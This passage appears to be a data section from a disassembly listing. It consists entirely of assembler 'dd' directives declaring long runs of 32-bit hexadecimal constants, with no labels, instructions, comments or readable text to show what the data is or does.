		dd 6C00B788h, 70BD8AEh,	0F82AD447h, 6B4A008Ah, 4494C8DFh
		dd 5800634Dh, 0FA9FAD1Dh, 0DDB268h, 0E1AEC1AFh,	0F0E0DB0Eh
		dd 0C3EE2303h, 501F82C8h, 7936EF29h, 7049074Ah,	1072B96Ch
		dd 9AEC6DEFh, 0D6C09400h, 0E08DD8DDh, 0B8CD0009h, 0C7D9A30Ch
		dd 0AC035DF9h, 9A4A4C57h, 0D7F0A008h, 0D1E300F2h, 52023969h
		dd 0EB002945h, 97D2B7Ch, 13946B2Dh, 0B9D558h, 0D645AA72h
		dd 56008F4Ch, 7AEDE1A6h, 77CC7C7Eh, 0D3600B6Eh,	782751D1h
		dd 0C4773097h, 802C0DFDh, 888208AFh, 420BDE6Bh,	0E00E8FD4h
		dd 1846E553h, 7389854h,	0A081722h, 52F04071h, 1100DD77h
		dd 0AD736151h, 77222DEh, 0B6437FB9h, 644500C0h,	0B0B237F7h
		dd 700B3F2h, 98866A41h,	7941A8Dh, 0E050A373h, 6D005E82h
		dd 34D00B4Dh, 354FD400h, 0E923566Ah, 7337E1Eh, 0C14548A0h
		dd 519B27CFh, 824F1D70h, 7A265798h, 258BCFFh, 511242F7h
		dd 64C0A8E1h, 0E8E16865h, 5600E648h, 9EDF6E95h,	1E0C43h
		dd 363AD826h, 0D69C910Bh, 80A34115h, 6BF10094h,	0F9C0724Dh
		dd 4F1E399Eh, 0E300BC49h, 7E31BAC4h, 0E207B40Fh, 27AC8984h
		dd 3BDED430h, 4A800E5h,	39FAB309h, 0F504029Ah, 2B6E90AAh
		dd 68CFE880h, 21A72A07h, 25B0D4h, 2BF6C7E2h, 83B56322h
		dd 465B0A05h, 0CD0FB7Dh, 0E42754h, 7A3DC6C9h, 2D3BA923h
		dd 0D4981A17h, 774A900h, 262E5D0h, 0F9B411CAh, 74E86131h
		dd 17ABA25h, 81A0CC3Ah,	7E98EA3Bh, 808F2013h, 6B0EDA39h
		dd 0D9BB8181h, 318051B4h, 0B6204029h, 0F91D54B0h, 1500A0B3h
		dd 14B93AD5h, 0B423053Bh, 0D8BC41h, 3FDA701Ch, 4A7E94D7h
		dd 0FA30DC98h, 0F89E38B1h, 149298h, 6A30396Ch, 60418495h
		dd 0EB65B007h, 9E505BADh, 0A59CCBh, 2AC0A03Bh, 29BA8825h
		dd 23209F54h, 1D6738C3h, 81F6E28Eh, 49EE950Ch, 5CCAC53h
		dd 23272C38h, 0CACCC05Ch, 0D800EB4Ch, 8AB39F11h, 6099DCB1h
		dd 0B205310Fh, 410F5488h, 238C903Ah, 0E850B8C0h, 59F21BE6h
		dd 0AB00D815h, 54AE66B1h, 333EE406h, 34A71F17h,	0C2D849F0h
		dd 0D4B714A0h, 28CC027h, 0A2097A48h, 8029083Bh,	2444E85Dh
		dd 0A0EA034Ch, 3D45F275h, 73E56803h, 0C952DA7h,	5327C750h
		dd 20F2508h, 8047C5D7h,	0E926C803h, 5460C29Fh, 8081ADDEh
		dd 87E3457Eh, 7C4499E0h, 0C9A6C750h, 4BDB00D6h,	2271A954h
		dd 62327D3Dh, 134829E4h, 101522D4h, 1C89DE8Eh, 7227DA10h
		dd 0F4AAF612h, 4ABB7B00h, 3F8A1752h, 1A00020Eh,	2130B869h
		dd 330038CFh, 0FFEDC494h, 39A1017h, 0CBAAE611h,	75D8F862h
		dd 7D009935h, 375BB3ABh, 5820DFh, 0FBC0CFE3h, 732E2FA0h
		dd 31AF3C02h, 60EF7E0Dh, 4C117F5Ch, 0FA066C9Eh,	1936206Dh
		dd 0EE6B3F0Ah, 0F70C081Dh, 4A5229DBh, 4650004Ch, 576DE5DCh
		dd 41F5ED00h, 54D4DF96h, 0CE7A006Fh, 49D8B64Ch,	46077D16h
		dd 9A5F0E8Fh, 0B72AD20h, 0B10319CBh, 0FC63C0EDh, 0B400180Ch
		dd 0AD589EC4h, 0EB5157Eh, 0E0806D67h, 0B792B320h, 241FE1D0h
		dd 9EC0700Ch, 0A3EF8C3Eh, 307AB6h, 5D4CD250h, 0BEB280BDh
		dd 0A4AD9C24h, 748F1C80h, 7EA4F24h, 88FE7184h, 4CAB0146h
		dd 515BECD7h, 6C5EA900h, 0B26B2F68h, 37EB3C36h,	8A0FC281h
		dd 0C8A05C94h, 0C6046544h, 51C1BD69h, 0BBA398C0h, 2C16010Eh
		dd 6F66B53Bh, 9D8C407Ch, 2A05600Ch, 0EEE5913Dh,	1B0FA000h
		dd 7652C65Eh, 23623E3Ah, 99000F2h, 0E32FFD13h, 0E875E4ECh
		dd 94A75A00h, 34CEDFD2h, 0AF0900E1h, 8EAB5D7Bh,	849039C8h
		dd 713DD61Eh, 0CA6ACD81h, 0C440BBE2h, 18F9B1D7h, 11B9E36Fh
		dd 3A002DA8h, 51D88748h, 727CEAh, 0E1EE4065h, 436EA3F2h
		dd 24F289FEh, 0F09F3C28h, 4FF07A00h, 0B2A5250Ch, 611D02F2h
		dd 9F6A4B6Fh, 4CE0FCE2h, 0E730BD6Dh, 0EEA669B8h, 0BC8118EFh
		dd 0DECB21A9h, 46F79506h, 50CA666Eh, 2C96A040h,	1B4769Fh
		dd 877D23B8h, 4B2C2405h, 6C83380Eh, 9484C0EFh, 7925D1DFh
		dd 41EE0771h, 80933E53h, 3C023807h, 4F0C7200h, 0E5807730h
		dd 8C3A5040h, 39F4C9h, 0EFAC630Eh, 9B723421h, 0C7422F1Fh
		dd 9212BF80h, 76F86880h, 3C2B0326h, 0DFB7C5ADh,	0B58971C8h
		dd 9A1D9207h, 0D40D5C1h, 90A95641h, 365F00A8h, 138C57D8h
		dd 0CA014F83h, 1B77E8D2h, 3DF47594h, 94204862h,	0FEF68200h
		dd 0A24E21FAh, 0BA2E5E00h, 6AD143B6h, 8FF0084h,	40B7A3D7h
		dd 54602966h, 2C3B5A39h, 9C0D00F6h, 71B5F211h, 0AD33C885h
		dd 0D0C72070h, 0CFB0C626h, 0A3E06A11h, 0AFB56599h, 1B873EDCh
		dd 5B8091D1h, 140BF7h, 17782607h, 7A7E6EFBh, 3803C87Dh
		dd 0CB74C5C3h, 892EA8BDh, 6034596Ch, 3A089507h,	8A9C901Fh
		dd 0F2007B0Ah, 8F45BED8h, 0D5AEA8h, 0C65FFBD1h,	4BD06559h
		dd 0FAB8F500h, 290538D7h, 570700A5h, 905DB65Eh,	0D22C3CD8h
		dd 39D426h, 2C7A38Ch, 221E28h, 5E31EAAFh, 19A0AA4Ah, 0D0BA3E00h
		dd 7A3653DFh, 7FB60055h, 2A859ED5h, 3496B73Ah, 0DE6C4704h
		dd 0BF773091h, 0C576E4h, 657445EFh, 7A526342h, 0DE004C7Bh
		dd 78A9D9B3h, 0F030507h, 423CBB98h, 648F0AE2h, 93613840h
		dd 9CE65B01h, 0A8DCF692h, 9D9AAC40h, 0E11D00D7h, 8C09C1AFh
		dd 30C3630Dh, 0E78628E2h, 0C829D943h, 546EFEh, 1C07A91Bh
		dd 3003ACD5h, 0C8645101h, 9BC02A57h, 7055C084h,	2D971E25h
		dd 74A05700h, 4CC7F9E5h, 0E000C5Bh, 0C3BE4B55h,	35339A9Fh
		dd 0A04DF10Ch, 241772h,	33C0C2E5h, 0FDB7102Bh, 6760B600h
		dd 51340A8Dh, 0ADA0077Eh, 0ACD306h, 4D119F33h, 9E71617Ah
		dd 357E9701h, 0FA240EC8h, 54F3C850h, 0EBF4095Ah, 0FC204158h
		dd 834F804Bh, 0BC73D678h, 4000CA73h, 13AFC03Fh,	1AB45h
		dd 747062D1h, 11BE7191h, 0F1C1E200h, 819CDFD5h,	65AA00CDh
		dd 2CE3D76Eh, 5748DD69h, 58007B18h, 0A6BC4E49h,	521B9Ch
		dd 1E0D7025h, 59C9C3DAh, 6E21C414h, 0E6D300C0h,	0B0A45E11h
		dd 6674309Ah, 0DB01B950h, 6D0060EEh, 0FC7AA7ADh, 0FA181Ah
		dd 0B5F3DF2Dh, 9D314764h, 81FFB03Dh, 0C7FCCC06h, 28E8244Ch
		dd 0E7BC1EBFh, 85088FA4h, 0C2B40072h, 8AA8F039h, 3C66BB00h
		dd 1504C950h, 0B45A005Eh, 96586D01h, 0FD00FB88h, 3AE5D894h
		dd 9FA302h, 0F8C89CE4h,	0DCAFBFB3h, 0D5A12807h,	0AC0AA90h
		dd 3BDBE80Bh, 1280D972h, 68B05C5Ah, 0D8986D42h,	80852500h
		dd 891C8A18h, 60C10BD2h, 480066A3h, 71E4C301h, 947B7200h
		dd 399CA9A7h, 0FC96E697h, 1DD824E3h, 0A369000Ch, 40780B85h
		dd 47B4D700h, 0D9A2AC77h, 92FC0FCAh, 4C4056A9h,	2B1CC5Ah
		dd 0FD1CCF70h, 50CFA336h, 0A2CA405Dh, 1F318293h, 0D07802CCh
		dd 50E70025h
		dd 96EE0A5Eh, 0F24006Bh, 2C70F54Ah, 0E879A178h,	0D6ECE005h
		dd 0CC1F42A7h, 0EDFE3D80h, 578071Ah, 38392295h,	4618806Bh
		dd 0D4094574h, 0BA3D8h,	517AC2CEh, 0BBB2005Eh, 62A5E090h
		dd 0E3E4414Bh, 0C727C312h, 5F7E9804h, 49CF4241h, 48EAD853h
		dd 4CE4613h, 9C0990C0h,	0FA2127Eh, 0C90C80A0h, 1B126C52h
		dd 68416A68h, 0FF22ADC7h, 0BB5C064h, 217BC40h, 635368A0h
		dd 0A406CCB3h, 3AFDABF4h, 0DB042549h, 0E402097h, 96ADF4B4h
		dd 0FFFA8950h, 90BDB048h, 1B6033Ch, 1D69F954h, 51D69F93h
		dd 4A9B08C0h, 0C707A044h, 41224788h, 29F21C5Ah,	529E0CD0h
		dd 71F3999h, 23E14164h,	4D6C415Ch, 9F11DCFBh, 0E4042105h
		dd 2C019C1Bh, 31BA98C6h, 0C19A99E0h, 57217141h,	3C885034h
		dd 9F001EFDh, 0EF1DBA38h, 7337BC9Bh, 8C3501Fh, 392C9629h
		dd 1D66C3C2h, 19F5E28Fh, 88800CEFh, 9380D1CFh, 993B0F22h
		dd 19A0F6C6h, 5E9D58A5h, 71520400h, 0ED9B3668h,	3EB13C8h
		dd 31944013h, 27868CFFh, 0A2C77207h, 0EF27B64Bh, 0D70E58B0h
		dd 2FDA0105h, 51414EC8h, 6B7AD4B1h, 8022D93Bh, 154BF4Fh
		dd 0E6711561h, 7855006Eh, 6AAB4D8Ch, 30C010B9h,	9C622744h
		dd 9EC1DF3h, 0A89D0369h, 0E1D880C1h, 3D001565h,	902B5BE5h
		dd 38F67E3h, 6D05CA97h,	0FE00AB1Dh, 29C7ADBh, 0EB408h
		dd 81EB972Ah, 56E37D71h, 3F580F00h, 0E89F5B64h,	0A12C0055h
		dd 118DFC80h, 4500A9B1h, 2C179D6h, 23C40Ch, 0C801A11Ah
		dd 66F7A262h, 0D90058ECh, 6F3C647Dh, 5DAF274h, 0EE6D809h
		dd 0E2E8E215h, 0FA08FB9Ah, 18F60417h, 1045BFFDh, 775F7E10h
		dd 0D45B8404h, 6EE2CB1Ch, 0D79F98E0h, 44D03F40h, 0D362EF75h
		dd 22708E29h, 0DB22D6F3h, 4032573h, 4A7ACB28h, 380814D7h
		dd 84179072h, 0EB487BE1h, 946D484Eh, 86113CABh,	502F2878h
		dd 426C0D22h, 246008BFh, 14D03E69h, 0D36544F9h,	2A032284h
		dd 0D9082742h, 670841E0h, 2C5688CDh, 28507B94h,	8F51445h
		dd 7F12E782h, 89DDE110h, 4458088Fh, 22845328h, 0A344DB12h
		dd 49C60965h, 0F780BAF3h, 0A62E0C4Fh, 62560600h, 90255DB6h
		dd 0DC34008Bh, 4FBDF16Bh, 0FA0BBE74h, 905221A3h, 3EC4EFECh
		dd 0D6BA0ABAh, 7206B01h, 2CA3AAF5h, 0C4AE80F0h,	0C8DAEEh
		dd 0C2543F72h, 0E4F2DF19h, 4E6F8F00h, 0A685AE66h, 139003A7h
		dd 4CE1203Bh, 0FCDAA381h, 14036648h, 0B0BBAE61h, 0F85B18Fh
		dd 6B8070h, 5F1365C9h, 0AD071E2Eh, 61BBFF00h, 8F906D6Fh
		dd 2E51F9Ch, 5BC880E4h,	85D36C7h, 6D071FFAh, 0FE14B70Ah
		dd 0D60428F0h, 0EEA0B8CAh, 772A1CF0h, 5D5C80A2h, 8DBF2E9Ch
		dd 83494B98h, 91952D74h, 4460773Ch, 73610050h, 7521DDAEh
		dd 51067E30h, 537A520Dh, 77621h, 16236771h, 99E2A8C5h
		dd 0B8EEEA0Fh, 461DC125h, 0FEF82BD8h, 0F78E1F45h, 3226CB44h
		dd 3C52B412h, 819B5F00h, 76535510h, 0E77901F4h,	414DBDD9h
		dd 0A4687062h, 0A030602Dh, 7C1768D0h, 3E10B85Eh, 0CC00D30Dh
		dd 0C7817B98h, 0E737C2E0h, 88E2A07Fh, 8363E0A0h, 0F86E076Bh
		dd 0A079EBA7h, 0B18AB940h, 0D7CBB200h, 22E082C6h, 12CE007Eh
		dd 0B640BC51h, 0DC0E4BB0h, 56664Ch, 0A27BE578h,	0A8DA0650h
		dd 0C8B19245h, 818E9E00h, 28B9721Ah, 0F5C30778h, 0A00E4DDEh
		dd 575DDDEEh, 1D94CCF5h, 0BA263930h, 25EBC206h,	0ECA09A6Fh
		dd 42048C96h, 72DE261Eh, 92206025h, 773E170Bh, 17F89063h
		dd 0D4A5FE5Fh, 51377D07h, 3821B4D1h, 49C4B840h,	4A84774Fh
		dd 6F8AE84Eh, 11C23E28h, 201C87D6h, 0EE8073D0h,	4C93D400h
		dd 0D477FC1h, 2D3A3C3Fh, 8CC3D454h, 0A72B0902h,	0C074E410h
		dd 0FC6E7BBh, 0D837F1E0h, 9FFB4941h, 0E4642103h, 2C005CC7h
		dd 52052804h, 5BC6B6h, 0DC7D901Fh, 0C7AF4764h, 0E307AE76h
		dd 3F369AC5h, 1D0CE210h, 74A67D42h, 765408CEh, 0BE00B2BCh
		dd 0B70D077Bh, 5FF8F158h, 0FE730E30h, 0F30168BBh, 0E8242B38h
		dd 0C40AD34Eh, 0E803FAE6h, 16C50038h, 0A75B69E8h, 7E7200ECh
		dd 0FBABA17Ch, 9C0290BEh, 71FF64F9h, 7DF46139h,	9514402Bh
		dd 1AE3D0B2h, 0ED0487E0h, 0BD775066h, 0B0AE18D0h, 317001Dh
		dd 8F42F09Dh, 72003CC1h, 0A78ECE5Dh, 0D8656Eh, 9FE1741Eh
		dd 44E3FE9Bh, 4C76A00h,	465C2F2Ah, 0A6145C7Dh, 6B278C00h
		dd 8548B94h, 38F5A601h,	515DDE95h, 0A503F438h, 71BBEA66h
		dd 208A26C9h, 0CC71788Ch, 93552200h, 4E3717E1h,	34824042h
		dd 9B8B0602h, 400744FFh, 2A7600h, 5D855FB9h, 84468AAEh
		dd 0ADD54F00h, 5A913EE9h, 0D19400EBh, 2EE081F3h, 0CEE8E744h
		dd 8D394900h, 8BC75A0Bh, 4E730029h, 0DC3CD571h,	0F012191h
		dd 0A60C18EBh, 1C301EA5h, 6D6B0128h, 0B9BD84C2h, 0C182F48Ch
		dd 921D3Ah, 6370CB2Dh, 0E7DD76h, 0F8F45C31h, 611F8584h
		dd 595E7801h, 49B04E92h, 8815C850h, 0EC9D01B9h,	0FB890A1Ch
		dd 0C5CC7072h, 30290F00h, 0D97C4955h, 0FE5E446h, 3875CB4Eh
		dd 84B85720h, 870E25AAh, 6F36DDD6h, 49BC6510h, 0C1BC840h
		dd 420A22h, 0D0B9FA63h,	0D47F0414h, 2098B100h, 2AF6C375h
		dd 1606077Bh, 57712702h, 0B67930FAh, 0E9048A19h, 9E0A335Fh
		dd 437A880h, 4F7F3D36h,	0EC3AD600h, 58C3C693h, 0FE4BE00h
		dd 9D49F841h, 62B700FAh, 0B86D270Ch, 0C00E9587h, 6ECA53DDh
		dd 0EEE9C7h, 80A29F78h,	0C0700C4h, 682D5115h, 7C962A7Eh
		dd 0C266FE00h, 95347417h, 0EF644490h, 92014D98h, 438EC15h
		dd 30EC949Bh, 1F9F00A2h, 79250EB2h, 97032Bh, 1DD0950Ch
		dd 611B00F7h, 9059AB67h, 4A0FEBF0h, 7E0563CBh, 0B1038079h
		dd 442C749Ah, 9C0C97E1h, 6F000431h, 2EA110CCh, 0CDBF43h
		dd 97F1A0E1h, 4126BA5Fh, 8037DD2Fh, 7A1534C4h, 0E6D10908h
		dd 4C019764h, 309A6954h, 0ED0F7980h, 612ABBD7h,	0D05F7342h
		dd 0F8D7A8F1h, 41CCE0h,	0D201B2DBh, 6872BCA9h, 0E49E2D28h
		dd 4E207713h, 0F1B75423h, 9D40626h, 0FD160059h,	5F2A0B42h
		dd 0FA00071Ah, 38AD5BC7h, 19B2FBh, 5191821Dh, 0BBB7AF63h
		dd 6C003EFAh, 0F636CFD5h, 70C9538Eh, 7248026Dh,	0AFE3CDEBh
		dd 7E659840h, 80432F3Ah, 0CBD58E0Ch, 0E140519h,	5AF6784Bh
		dd 1182B980h, 16008D79h, 0B8AC92DDh, 1361EBDBh,	3E9F46h
		dd 2713ED4Ah, 29000636h, 88760EA5h, 269249FAh, 1FCAD20h
		dd 33487C18h, 0DE17FC3Ch, 414E6FE8h, 0F07DA482h, 1B47007Ch
		dd 0AD96A37Fh, 8F00ED73h, 29EF5AB7h, 9869F0A1h,	0D7E403E4h
		dd 22161C2Bh, 0B0C4AAB8h, 72F7DE00h, 2487AE84h,	0D66A0399h
		dd 0A3D8A033h, 0EFB39EB0h, 0B68A9400h, 89444B41h, 0CDFC0314h
		dd 0D9F5A15Eh, 0EB503AC8h, 2347022Fh, 0A0D5A5B8h, 0C8634Dh
		dd 91277994h, 0B1D0AB5Fh, 0B5397800h, 0E5F1A347h, 114B015h
		dd 0C5BEEA50h, 20BB460Bh, 281D747Ch, 6DC04BDDh,	0DC0FE0B7h
		dd 1C207AB0h, 0C18F071Dh, 6418BFD6h, 7E7FE49Ah,	0C9E3D200h
		dd 4D5771F8h, 7D870717h, 665DAE2h, 0D4023A2Bh, 19FE3CBDh
		dd 0F2FD01Ch, 36EFA76Dh, 7B481460h, 822C0903h, 0AC0E8022h
		dd 9669E13Ah, 0A4310788h, 0A028EAD8h, 0D4DAE6h,	0F357132h
		dd 82B9336h, 5F579400h,	0C5B3BFB7h, 0ACDC3A91h,	640B0976h
		dd 15851055h, 0D3CB801Ch, 0BF00CABDh, 0D05AB5A3h, 70F9FCh
		dd 0D2A81204h, 7D7EF19Fh, 0F8D78000h, 0F6F5D914h, 0CF0F003Dh
		dd 631E2EE5h, 5300BA51h
		dd 19EFD1D8h, 2C22F7E1h, 0FC2F1h, 4EFC5095h, 0F42880CAh
		dd 0E800FC60h, 12187FDBh, 0A6511Eh, 0FC0ABCC0h,	8B9A5876h
		dd 0BE952800h, 0DCAC31A2h, 0F26E0027h, 8620FBFEh, 570045BAh
		dd 8188D10h, 109D9329h,	0E3DD501h, 27530EDFh, 2F202D58h
		dd 764378Ah, 0D072F876h, 993BEE0h, 9900FE7Ch, 560DD76Ch
		dd 7A24C00h, 6DA6552h, 7E7C3F92h, 0B3422287h, 5C00DB1Eh
		dd 0B2BBBAA6h, 50570803h, 0A0D9E013h, 9835C060h, 38A80012h
		dd 28D5FE15h, 8C7CF871h, 0AC3CC201h, 66694998h,	77D426C0h
		dd 0C37004Bh, 7D581682h, 1100FE91h, 28E91B05h, 0E46CAF4Fh
		dd 55431CCDh, 0A2F64577h, 9AA8D06Fh, 0B6FEE916h, 0B8E4E500h
		dd 0A685457Eh, 74ECA3h,	1520DFB0h, 9EC99A54h, 25DAA900h
		dd 0CEFC98E0h, 77FA00D0h, 0C16270ECh, 5307BDF3h, 0E611C278h
		dd 244B7B01h, 0A8D40D2Eh, 35EC0038h, 38D6BA10h,	0C7A40E00h
		dd 17407C9h, 0D5087B79h, 303DC12Dh, 0E0008DA4h,	0A4645731h
		dd 24730282h, 2414D0EAh, 0CDA70084h, 0BE97F3C9h, 0C86D6100h
		dd 0F2C0ED13h, 0D501DDFh, 5EDEC021h, 886EBE56h,	0B9E4D009h
		dd 0B3A4839Ah, 0F70AA094h, 578A0083h, 1E100223h, 0A301AB45h
		dd 65534DDBh, 203819h, 0F22E072Bh, 937A03h, 7206A91h, 1A955F03h
		dd 946906h, 0C437CA29h,	566840EFh, 33F16607h, 0D7203D47h
		dd 0B42E7CEh, 1CFCB1DAh, 0B3C2FF00h, 9A09185Bh,	8BE817h
		dd 0FD619648h, 1A17D6Dh, 9C14073Dh, 30053B7Ah, 74701690h
		dd 651BD905h, 0B414D768h, 0A58D00B0h, 0A9D30F3Fh, 0ACC54816h
		dd 22AF0F71h, 40006893h, 49B4B0DEh, 4730320Fh, 1625019Eh
		dd 3A2EF1C8h, 6BBC8800h, 6B1D38C8h, 9FEBAE00h, 0D50AE226h
		dd 9AC4A1A2h, 0EDA1C20h, 3E4E8657h, 0CF06AFC1h,	0A85EFC97h
		dd 13239800h, 8E6C3D8Bh, 2410172h, 4DE9A32Fh, 8688064h
		dd 77FCAB37h, 53DA0B19h, 8C6076B9h, 140FBABDh, 4017E45Bh
		dd 7966E0C5h, 5D5500D7h, 0C115302h, 0B628285Ch,	0FB7FE8B3h
		dd 10BE8103h, 0A864C46Ah, 0DB5C73h, 3967E8FDh, 0EEFC8C50h
		dd 1EF8E007h, 2EB0A8C9h, 1026B65h, 0AECC0721h, 2C8ADCCFh
		dd 0A530028h, 35FBEFEEh, 0D87901C5h, 0CBB0F3CAh, 4481CCDDh
		dd 8F38BCB8h, 0F9FE81DCh, 0A1314D22h, 17643C8h,	67E329E1h
		dd 0DC574764h, 9302F661h, 0BAAB5E1Fh, 605EE5h, 72262279h
		dd 0CF057194h, 3ED8149Ah, 0DC508A9h, 0FD438098h, 0D800D605h
		dd 0B0CF041Ch, 0A669FEFh, 0EEB45891h, 276E02A0h, 4C03044h
		dd 8600B3FDh, 1A4F0185h, 127FA9h, 88144BF3h, 22745E0Fh
		dd 4A05806h, 78707BD6h,	42BF18E4h, 1FDB48BAh, 0EA356900h
		dd 157428F3h, 0E2A50550h, 80E191B4h, 0F6A6D380h, 104F207h
		dd 1CB00AC6h, 0A0808BFEh, 7525CDCh, 0A1895DA8h,	0D1E720B6h
		dd 903F99ACh, 0CF02F1C8h, 65A0E392h, 88DD63FCh,	16F4A884h
		dd 6E6C1Bh, 1FF7AC92h, 7B009D8Eh, 74FE14C7h, 0E07A8B8h
		dd 5A64121Ch, 0FB848803h, 3D1180F0h, 0DE7FCC98h, 2285B100h
		dd 0CE3FDF99h, 0BD900345h, 211E7403h, 0C856E2E0h, 57B14901h
		dd 0BE531430h, 886251CDh, 5DE1B502h, 72C01AE7h,	6E09A5B2h
		dd 80DFB147h, 4037E270h, 0D6FD00BCh, 0F4FFD95Ah, 0C91E5E05h
		dd 74464795h, 100711h, 0DFD34072h, 178450A4h, 70BEB46Bh
		dd 3AFC0061h, 4C600C9Bh, 4F247CC4h, 8B004066h, 28422DC8h
		dd 0CEFF0090h, 0BDE0BAE4h, 8479F773h, 7A48F379h, 0E69B001Ah
		dd 8E98FE42h, 76C7006Ah, 0FA6DD92Fh, 0FD0182EEh, 2D1AA96h
		dd 0C72E5490h, 970D20C8h, 0EA001440h, 438B1DDEh, 0B8137288h
		dd 30DF01BAh, 0D0E38910h, 0D382C07Eh, 229AC60h,	1DE02B2Ah
		dd 0CE5A9960h, 0B100DD77h, 6BD531D1h, 3D137E18h, 1452180h
		dd 0F7A85D40h, 0D037C079h, 130FB2D5h, 0C0FC8B1Eh, 0B5669EEBh
		dd 0BEF500D1h, 0C2165658h, 0A008009h, 0FC67EAB9h, 0CDE9A5h
		dd 0C60E43DDh, 17718172h, 598C611Eh, 0DE38Bh, 752B79CEh
		dd 0F6D100A8h, 0F57EADFh, 111DDB14h, 0B5C081F8h, 22C5EB52h
		dd 79E0001Dh, 424E366Fh, 6A00F5A1h, 0AC98062Dh,	68A882h
		dd 34BE3E29h, 263CA9B7h, 0A7A01B00h, 98B2DD1Ah,	0C73F0F56h
		dd 8E82C822h, 90EB48E4h, 30994DF9h, 0C126BCA4h,	6280FC3Ah
		dd 2AD1A96Eh, 42477DDh,	0F2C22884h, 3B3880E3h, 0D6018936h
		dd 407760Ch, 9DDC22C6h,	4FC209C0h, 0A080FAADh, 9831BB21h
		dd 5F2A6200h, 2CDBB469h, 0DAC30079h, 0EA1D7F54h, 0D700F69Fh
		dd 980A7DC1h, 0DD113Eh,	6AB6EBDEh, 35BA4540h, 28220430h
		dd 593BB2h, 1D29ED80h, 9B4958A2h, 0F43D0701h, 852F480Ch
		dd 44030A06h, 20EDCBDAh, 0AB821254h, 65B4A456h,	25790200h
		dd 0E8139B1Ah, 846F0C40h, 9430CC31h, 78C9D702h,	6051D88Eh
		dd 15AE453h, 3670249Ah,	68A1370Bh, 179B1CE4h, 0A6AE3AC3h
		dd 624CA1D6h, 0B20330h,	46FFA0C6h, 3540FD16h, 0C5E81FAh
		dd 3517400h, 133A8CC5h,	40040A27h, 8F6B3694h, 910BB359h
		dd 2009F378h, 56C979F8h, 467A3Ah, 2502EB88h, 987940Ah
		dd 0A283F200h, 9A921ADAh, 7F640019h, 2591EF0Fh,	709870CAh
		dd 0DD219C00h, 0CCF8A1C3h, 141300ACh, 64E03F4Bh, 0B11660D1h
		dd 78B43E45h, 25952C69h, 7E360024h, 0DB578D17h,	0C4C8EA00h
		dd 0FF430A21h, 9CE44Ah,	83EDC7CFh, 0D0869733h, 946F2B00h
		dd 7219BC48h, 0B9AB0312h, 82A33879h, 159995C0h,	0A5F62EFCh
		dd 432F9000h, 1C8E097Bh, 680B00F9h, 485C9F92h, 10E7EBBh
		dd 8006CCh, 0DA5BD9BEh,	0A51300F8h, 1B514E39h, 7C0005ECh
		dd 47B6BC4Ah, 68AADCh, 594BEA26h, 0AB29C40Fh, 7636D0A0h
		dd 8A04C2F2h, 0DB6020B1h, 0A54CF0h, 0F5A60611h,	0ED059B3Eh
		dd 8E413B02h, 0E8CEA41Fh, 0F470A2E8h, 0FEB40046h, 95BA2C94h
		dd 4E588B06h, 16653CD4h, 0B4E002F2h, 147E89h, 1FECCC66h
		dd 821D9175h, 0A8CAD13Fh, 7800A8C4h, 52C9E63h, 0ECEC6871h
		dd 0A17D0Fh, 0FB5806B3h, 0E9B80ABFh, 819C6D3Ch,	0F16E323Ch
		dd 0A643DD28h, 807C81B2h, 0A79DC8h, 0C3BDC11Fh,	0E56B90D5h
		dd 2C4F48h, 81FD1BE1h, 14E68F0h, 250FBF6Dh, 6A52511Ch
		dd 41EE340Fh, 3A54D2C3h, 0B005D83Dh, 0B9D8952Bh, 0A0900F4h
		dd 0A07B44B2h, 90965C7Eh, 55D8BF00h, 0EE2E5B8Fh, 49B8D612h
		dd 0E0A66C0Eh, 5DB7FFACh, 9900062h, 2C8352Fh, 70702729h
		dd 0DE51FB1Fh, 6E3D6540h, 1E7D23Fh, 0EA758FECh,	0CCA81915h
		dd 47149B0Ah, 1294C24Bh, 88C0728Dh, 1A1B4Fh, 0F0FF10E4h
		dd 3FCF8523h, 0BEB24D07h, 17E0E6B5h, 0D7328Ch, 8503FAD4h
		dd 0DBCEBCC8h, 0FD7A611Eh, 13098F01h, 802020DCh, 0C8040034h
		dd 3A39E9E8h, 0BF006229h, 932B01A3h, 0F36EC4h, 9C87205Ch
		dd 1A318583h, 47344A04h, 0C4C8F76Dh, 0F3701054h, 994F001Ch
		dd 0D718AD63h, 0FA3A1D48h, 0FB8580AAh, 0B2F75044h, 38F32300h
		dd 0F2C0033Bh, 35840259h, 2B8AAB3Ah, 0DA5D0461h, 700090D8h
		dd 0C750059Dh, 3F069BD5h, 96008793h, 0CCBC32E5h, 4707B54Ah
		dd 5B6248F0h, 0A5979CD1h, 3600F83Ch, 0B1F3798Dh, 0BD00F98Ch
		dd 91BB5BB3h, 9DD16CACh, 43BF1487h, 0B8B0032Dh,	88097ECDh
		dd 82523624h, 0C079443Ch, 2C19023Ch, 80845C0Dh,	0FD7520A2h
		dd 4961B5A7h, 0B302BF28h, 39ECC030h, 25006F78h,	4C6644Eh
		dd 2F4CDC58h, 88185017h, 290052EEh, 646C3EE5h, 1554DD8h
		dd 75F336C4h
		dd 7ABC2463h, 547D3000h, 970E276Ch, 51A84880h, 341C6845h
		dd 3C89FA57h, 647899h, 2BC43F1h, 50B4FBF8h, 1C5352h, 0B8607047h
		dd 1D9FD4BAh, 125CF6DFh, 87D00030h, 8C8D279Bh, 0DD071900h
		dd 0AE2F5A8Fh, 495103C0h, 2784FAFDh, 44567DEAh,	112C5800h
		dd 72FA29Dh, 9FEBACDFh,	8575C29Bh, 498A3B61h, 5C24F04Ch
		dd 11C26F01h, 2FA5651Eh, 53A84ADBh, 5F3F03ECh, 5CB0FF29h
		dd 69C057F6h, 0E0112DCAh, 0C0CD4F33h, 13EAA220h, 927CBC52h
		dd 0ED5A3460h, 939CA552h, 9A690070h, 90095C8Bh,	0B05D8805h
		dd 3C971497h, 0B54955E0h, 521D0176h, 0CFC7BD9Ah, 0A66880B3h
		dd 0C1436754h, 38EC00E0h, 0DB5DA861h, 1E780AD2h, 693D88h
		dd 7C9212FEh, 7F702985h, 23EE0A00h, 2582A9FCh, 28BE0Bh
		dd 5C48D51Eh, 102CC793h, 7D09AD26h, 1D807A5Dh, 58A0D3h
		dd 48E5494Bh, 0D77E2953h, 1C6C53Eh, 9162674Fh, 0E9E31C26h
		dd 0F3FC601Fh, 161A000Dh, 52218450h, 4300F825h,	980E319Ch
		dd 2D02358Bh, 4040AD15h, 660019ACh, 18C336ABh, 7C420ADEh
		dd 0B4809F53h, 45A30B29h, 63A01D61h, 0EDE4D225h, 0C13601A8h
		dd 0F627B7A1h, 0E7AC00Dh, 91A60802h, 4075D96Dh,	79109B8Ch
